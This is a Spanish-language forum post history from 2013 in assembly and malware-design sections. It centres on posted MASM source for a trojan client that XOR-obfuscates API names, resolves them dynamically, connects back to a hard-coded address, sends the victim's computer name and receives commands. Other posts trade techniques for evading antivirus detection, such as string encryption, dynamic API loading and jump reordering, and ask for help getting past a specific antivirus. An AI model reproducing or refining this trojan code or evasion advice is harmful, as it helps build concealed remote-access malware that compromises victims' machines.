|
901
|
Programación / ASM / Solucionar WSAEWOULDBLOCK
|
en: 16 Mayo 2013, 00:33 am
|
Hola amigos! Tengo el siguiente problema que me esta torturando... ya llevo horasss... Bueno, el codigo primero: Conn: invoke connect, sock, addr sa, sizeof sa .IF eax==SOCKET_ERROR invoke WSAGetLastError
.IF eax==WSAEWOULDBLOCK jmp Conn .ELSEIF eax==WSAEALREADY jmp Conn .ELSE
;Por lo general, conexion establecida u otro ErrorCode
.ENDIF
.ENDIF
Ok,, estoy usando el ejemplo de Iczelion, con Socket y procedimiento de ventana... El problema esta en que la conexion queda trancada en error: WSAEWOULDBLOCK, y por lo que entendi de este error es algo asi como: "Dame un minuto que estoy intentando conectar" jajaja Bueno, no es asi literalmente, pero seria algo asi, "socket ocupado". Como el ejemplo funciona con procedimientos de ventana, el programa se cuelga al quedar en un bucle de conexion infinito, (intentando conectar y haciendo loop en volver a conectar...) entonces la ventana no aparece siquiera.. Se me ocurre poner un timer, pero no tengo ni idea por donde empezar... Alguna sugerencia o algun metodo timer pleaseee!! Thnks all !!
|
|
|
902
|
Seguridad Informática / Análisis y Diseño de Malware / Re: A que se debe ?? :D
|
en: 15 Mayo 2013, 19:27 pm
|
Hola Иōҳ ! Puede ser si que pase eso que dices tu.. yo al final fui comentanto el codigo hasta que acorrale "la firma" que me detectaba el AV. No probe cortando el archivo porque el hacha no corta archivos tan pequeños y me daba pereza buscar otro spliter..
Saludos !
|
|
|
903
|
Programación / ASM / Principio de Troyano ASM
|
en: 15 Mayo 2013, 02:44 am
|
Buenas amigos del foro!! Hoy ando regalon... Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca... Lo probe con virustotal y asi como esta tiene 4 detecciones: VBA32 Malware-Cryptor.Win32.Allblock Norman Crypt.AWHI F-Prot W32/Threat-HLLSI-based!Maximus Commtouch W32/Threat-HLLSI-based!Maximus Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta.. Sin mas que decir: .386 .model flat, stdcall option casemap:none
include Servidor.inc
bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc
.data
Ip db "127.0.0.1",0 ;Direccion remota Port dd 8888 ;Puerto remoto Ver dd 2.2 ;Version de WinSck wsa WSADATA <> ;Estructura WSAData sa sockaddr_in <> ;Estructura de sockaddr_in
Titulo db "Titulo de pruebas", 0 Saludo db "CONNECT|%s0", 0 ;Saludo de conexion
;************************************************************
; Librerias Ws2 db "Pt5X45)ckk", 0 ;Ws2 U32 db "Rtbu45)ckk", 0 ;User32 Kn32 db "Lbuibk45)ckk", 0 ;Kernel ; Socket FunW db "PTFTsfusrw", 0 ;WSAStart FunZ db "PTFDkbfirw", 0 ;WSAClean FunS db "thdlbs", 0 ;socket FunI db "nibsXfccu", 0 ;inet_addr FunH db "oshit", 0 ;htons FunC db "dhiibds", 0 ;connect FunV db "ubdq", 0 ;recv FunO db "dkhtbthdlbs", 0 ;closesocket FunN db "tbic", 0 ;send ; Funciones del programa FunM db "Jbttf`bEhF", 0 ;MessageBoxA FunE db "BnsWuhdbtt", 0 ;ExitProcess ; Datos del Pc FunG db "@bsDhjwrsbuIfjbF", 0 ;GetComputerNameA FunP db "ptwunisaF", 0 ;wsprintfA ; Carga dinamica de Apis FunL db "KhfcKneufu~F", 0 ;LoadLibraryA FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress
;************************************************************
;******** CP NAME *********** buffer db 100 dup(?) ;Buffer para guardar el nombre del pc bSize dd bufSize ;Tamaño para el nombre del pc getName db bufSize dup(?) ;Necesario para GetComputerNameA ;****************************
.data?
Sock dd ? ;Socket Buffer db 512 dup(?) ;Buffer para recv Hand dd ? ;Handle de funcion dinamica LoadL dd ? ;Handle de LoadLibraryA GetP dd ? ;Handle de GetProcAddress
.const
WM_SOCK equ WM_USER + 100 SOCK_STRAM equ 1 .code
Inicio: jmp Mentira Inicio2:
invoke Llamar, addr Ws2, addr FunW ;WSAStart push offset [wsa] push offset [Ver] call Hand
.IF eax!=NULL invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF
invoke Llamar, addr Ws2, addr FunS ;socket push 0 push SOCK_STRAM push AF_INET call Hand
.IF eax==INVALID_SOCKET invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF
mov Sock, eax mov sa.sin_family, AF_INET
invoke Llamar, addr Ws2, addr FunI ;inet_addr push offset [Ip] call Hand mov sa.sin_addr, eax
invoke Llamar, addr Ws2, addr FunH ;htons push Port call Hand
mov sa.sin_port, ax
Conn:
invoke Llamar, addr Ws2, addr FunC ;connect push sizeof sa push offset [sa] push Sock call Hand cmp eax, 0 jne Conn
;********************************************** ; GetComputerName ;********************************************** invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA push offset [bSize] push offset [getName] call Hand
invoke Llamar, addr U32, addr FunP ;wsprintfA push offset [getName] push offset [Saludo] push offset [buffer] call Hand
invoke Llamar, addr Ws2, addr FunN ;send push 0 push sizeof buffer push offset [buffer] push Sock call Hand ;**********************************************
Recv:
invoke Llamar, addr Ws2, addr FunV ;recv push 0 push sizeof Buffer push offset [Buffer] push Sock call Hand cmp eax, -1 je Recon
invoke Llamar, addr U32, addr FunM ;MessageBoxA push MB_OK push offset [Titulo] push offset [Buffer] push 0 call Hand jmp Recv
Recon:
invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand jmp Inicio2
Clse:
invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand
invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand
invoke Llamar, addr Kn32, addr FunE ;ExitProcess push 0 call Hand
Dinamic proc Libreria:DWORD, Funcion:DWORD push Libreria call LoadLibrary push Funcion push eax call GetProcAddress ret
Dinamic endp
Llamar proc Lib:DWORD, Fun:DWORD
push [Lib] call LoadL push [Fun] push eax call GetP mov Hand, eax
ret Llamar endp
Decript proc Funcion:DWORD
xor ecx,ecx mov eax, [Funcion] bucle: cmp byte ptr ds: [eax + ecx], 0 je salir xor byte ptr ds:[eax + ecx], 7 inc ecx jmp bucle salir: ret
Decript endp Mentira:
invoke Decript, addr U32 ;User32 - invoke Decript, addr Kn32 ;Kernel32 - APIS invoke Decript, addr Ws2 ;WinSock -
invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS invoke Decript, addr FunT ;GetProcaddress -
invoke Decript, addr FunW ;WsaStartup - invoke Decript, addr FunZ ;WsaClean - invoke Decript, addr FunS ;socket - invoke Decript, addr FunI ;inet_addr - invoke Decript, addr FunH ;htoons - SOCKET invoke Decript, addr FunC ;connect - invoke Decript, addr FunN ;send - invoke Decript, addr FunV ;recv - invoke Decript, addr FunO ;closesocket -
invoke Decript, addr FunM ;MessageboxA - invoke Decript, addr FunE ;ExitProcess - GENERALES invoke Decript, addr FunP ;wsprintfA - invoke Decript, addr FunG
;********************************************* ; Obtengo Direccion de Getproc y LoadLib ;********************************************* push offset [FunL] push offset [Kn32] call Dinamic mov LoadL, eax push offset [FunT] push offset [Kn32] call Dinamic mov GetP, eax ;********************************************* jmp Inicio2
end Inicio
Bueno, ahi esta... Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido.. Saludos!
|
|
|
904
|
Programación / ASM / Ayuda implementando modulos
|
en: 14 Mayo 2013, 22:06 pm
|
Hola amigos!!! Tengo una pequeña consulta hoy.. Estoy trabajando con Masm y RadASM.. En el explorador de proyecto dice que se pueden agregar modulos... Esos modulos en realidad son archivos .asm La duda es si es lo mismo insertar un modulo que insertar un asm?
Gracias!!
|
|
|
905
|
Seguridad Informática / Análisis y Diseño de Malware / Re: Ayuda,keylogger.
|
en: 14 Mayo 2013, 18:56 pm
|
Amigo.. lo que buscas es un Keylogger ya echo, o sea, el programa keylogger.. el problema con descargar uno de internet es que puede ser un arma de doble filo, imaginate que el keylogger que bajes tambien es un troyano,, infectarias tu pc,, ahora,, lo mejor seria que lo programes tu...
|
|
|
906
|
Seguridad Informática / Análisis y Diseño de Malware / Re: A que se debe ?? :D
|
en: 13 Mayo 2013, 08:49 am
|
Bueno,, después de casi 4 hs de investigación me encuentro con este problema, lo posteo para no desperdiciar el tema que cree,, así, si en el futuro alguien se encuentra en esta misma situación, a lo mejor lo oriente a como encarar el asunto El antivirus VBA32 detecta este codigo como Malware-Cryptor.Win32.Allblock ;Dinamic proc Libreria:DWORD, Funcion:DWORD ; push Libreria ; call LoadLibrary ; push Funcion ; push eax ; call GetProcAddress ; mov Hand, eax ; ret
;Dinamic endp De echo, al parecer detecta la función LoadLibrary y GetProcAddress como algo peligroso.. tambien detecta la función si la quiero cargar de forma dinámica, porque (hasta donde yo se) la cargo con getprocaddress, o sea, usar getprocaddress, para obtener la dirección de getprocaddress.. ( Un dilema, no ? ) Bueno,, la solución al problema parecía lógico,, no usar esas funciones.. pero, no todo es tan color de rosas,, porque ahi aparecen otros problemas.. El antivirus Fprot detecta las funciones copyfile y getmodulefilename como algo peligroso ( detección por heuristica, mas precisamente: W32/Heuristic-400!Eldorado (not disinfectable) ) Haa,, vale destacar que las cadenas importantes del programa, estaban cifradas, pero cifradas o no, al parecer al Fprot, no lo engaña con eso.. ¬¬ Otra cosa importante es hacer un jmp al final del programa, y regresar al inicio, esto elude a 2 o 3 antivirus jejeje Bueno, de poder resolver el problema sin herramientas externas, no creo que ponga la solución.. eso va a quedar para mi, si el código que implemente funciona para eludir Av's mejor me hago de alguna rutina propia para tal propósito :p Saludos!
|
|
|
907
|
Seguridad Informática / Análisis y Diseño de Malware / Re: A que se debe ?? :D
|
en: 13 Mayo 2013, 04:54 am
|
Muy buena opcion flamer!! No lo habia pensado asi.. Se me habia ocurrido usar el ollydbg y cambiar parte por parte por nops, y probar uno por uno en novirusthnks, pero lo dejo como ultima opcion, porque me va a llevar mucho rato... Siempre atento colega!! Muchas gracias! Y cualquier cosa, a las ordenes
|
|
|
909
|
Seguridad Informática / Análisis y Diseño de Malware / Re: A que se debe ?? :D
|
en: 11 Mayo 2013, 23:19 pm
|
Buenas tardes amigos,, sigo sin poder resolver este problema:
Malware-Cryptor.Win32.Allblock con el antivirus VBA32
Segun el sitio Dr.Web, lo que me esta descubriendo es:
Trojan.MulDrop.32703 (Dr.Web), Malware-Cryptor.Win32.General.3 (VirusBlokAda), TR/Crypt.ZPACK.Gen (Avira), New Malware.cc (McAfee), TROJ_DROPPER.ORX (Trend Micro), TrojanDropper:Win32/Alobtoe.A (Microsoft), Trojan-Dropper.Win32.Agent.ayfo (Kaspersky), Backdoor.Bot.100734 (BitDefender)
Lo cual es muy cierto,, me lo detecta un solo antivirus y la verdad, me estoy quedando sin ideas, ya cargo las apis dinamicamente, cifro las cadenas, hago algunos jumps, cambio el orden del programa y nada, me sigue detectando la app como un troyano..
Lo estoy haciendo en masm32, alguien tiene algun aporte para poder burlar este maldito antivirus ?? La verdad, nunca pense que ese av funcionara bien,, al parecer detecta mejor que el kaspersky :/
Muchas gracias!
|
|
|
910
|
Seguridad Informática / Análisis y Diseño de Malware / A que se debe ?? :D
|
en: 10 Mayo 2013, 00:33 am
|
Buenas señores y señoras !! A que se debe esta deteccion ?
TR/Crypt.XPACK.Gen y Malware-Cryptor.Win32.Allblock
Que es lo que me detecta ? Puede ser una rutina de desencriptacion de cadenas quizas ??
Y ya que estamos.. si es eso lo que me detecta,, (la desencriptacion) alguien sabe de algun algoritmo para cifrar cadenas en asm ? uno mejor que sumarle un numero a los caracteres ascii, porque eso es lo que hago y esta muy simplote... Y con xor, la verdad que me da la misma mala espina.. no es nada muy elaborado..
Desde ya, Muchas gracias!!!
|
|
|
|
|
|
|